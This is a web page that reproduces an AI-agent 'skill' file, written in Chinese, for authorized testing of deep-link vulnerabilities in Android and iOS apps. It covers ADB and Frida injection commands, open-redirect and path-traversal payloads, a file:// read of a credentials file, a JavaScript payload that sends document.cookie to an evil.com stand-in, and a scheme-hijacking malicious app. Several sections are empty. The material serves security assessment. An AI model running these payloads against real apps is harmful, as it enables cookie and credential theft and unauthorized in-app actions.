Exploiting deeplink vulnerabilities

From killvxk/cybersecurity-skills-zh · View interactive version

Exploiting deeplink vulnerabilities is an AI agent skill from the GitHub repository killvxk/cybersecurity-skills-zh. 测试和利用 Android 和 iOS 移动应用程序中的深度链接(URL Scheme 和 App Link)漏洞,识别未授权访问、数据注入、Intent 劫持和重定向操纵。适用于通过自定义 URI Scheme、Android App Links、iOS Universal Links 或基于 Intent 的导航评估移动应用攻击面。适用于深度链接安全测试、URL Scheme 利用、移动端 Intent 滥用或链接劫持等请求场景。

How to use this skill

Skill file

利用深度链接漏洞

适用场景

使用此技能的场景:

不适用于:未获得授权的情况 -- 深度链接利用可能在目标应用程序中触发意外操作。

前置条件

工作流程

步骤 1:枚举深度链接入口点

Android - 从 AndroidManifest.xml 提取:

# 反编译 APK
apktool d target.apk -o decompiled/

# 搜索带深度链接 Scheme 的 Intent 过滤器
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml

# 查找以下内容:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />

iOS - 从 Info.plist 提取:

# 提取 URL Scheme
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"

# 提取 Universal Links(关联域名)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# 检查:applinks:target.com

# 验证 apple-app-site-association 文件
curl https://target.com/.well-known/apple-app-site-association

步骤 2:测试深度链接注入

通过 ADB 测试 Android:

# 基本深度链接调用
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://dashboard?user_id=1337" com.target.app

# 使用注入载荷测试
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://profile?redirect=https://evil.com" com.target.app

# 测试路径遍历
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://navigate?path=../../../admin" com.target.app

# 测试 JavaScript 注入(如果在 WebView 中加载)
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app

# 使用额外 Intent 参数测试
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://transfer?amount=1000&to=attacker" \
  --es extra_param "injected_value" com.target.app

iOS 通过 Safari 或命令行:

# 从 Safari 触发 URL Scheme
# 导航至:myapp://dashboard?user_id=1337

# 使用 Frida 调用
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
  .openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'

步骤 3:测试链接劫持

Android:

# 创建注册相同 URL Scheme 的恶意应用
# 攻击者应用的 AndroidManifest.xml:
# <intent-filter>
#   <action android:name="android.intent.action.VIEW" />
#   <category android:name="android.intent.category.DEFAULT" />
#   <category android:name="android.intent.category.BROWSABLE" />
#   <data android:scheme="myapp" />
# </intent-filter>

# 当两个应用都安装时,Android 会显示选择对话框
# 在较旧的 Android 版本上,最先安装的应用可能处理链接

# 检查 App Links 验证(防止劫持)
adb shell pm get-app-links com.target.app
# 状态:verified = 安全
# 状态:undefined = 易受劫持攻击

步骤 4:测试 WebView 深度链接加载

# 如果深度链接在 WebView 中加载 URL,测试以下内容:
# 1. 开放重定向
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app

# 2. 文件访问
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"

# 3. 在 WebView 中执行 JavaScript
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"

步骤 5:评估参数验证

测试每个深度链接参数是否存在:

核心概念

| 术语 | 定义 |

|------|------|

| 自定义 URL Scheme | 应用注册的协议(myapp://),调用时路由到特定的应用处理器 |

| App Links(Android) | 经验证的 HTTPS 深度链接,绕过选择对话框,直接在已验证的应用中打开 |

| Universal Links(iOS) | Apple 使用 Web 域名上的 apple-app-site-association JSON 文件进行验证的深度链接机制 |

| Intent 劫持(Intent Hijacking) | 恶意应用通过注册相同的 URL Scheme 或 Intent 过滤器来拦截深度链接 |

| WebView 桥接(WebView Bridge) | 暴露给 WebView 内容的 JavaScript 接口,可能通过深度链接加载的 URL 访问 |

工具与系统

常见陷阱

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.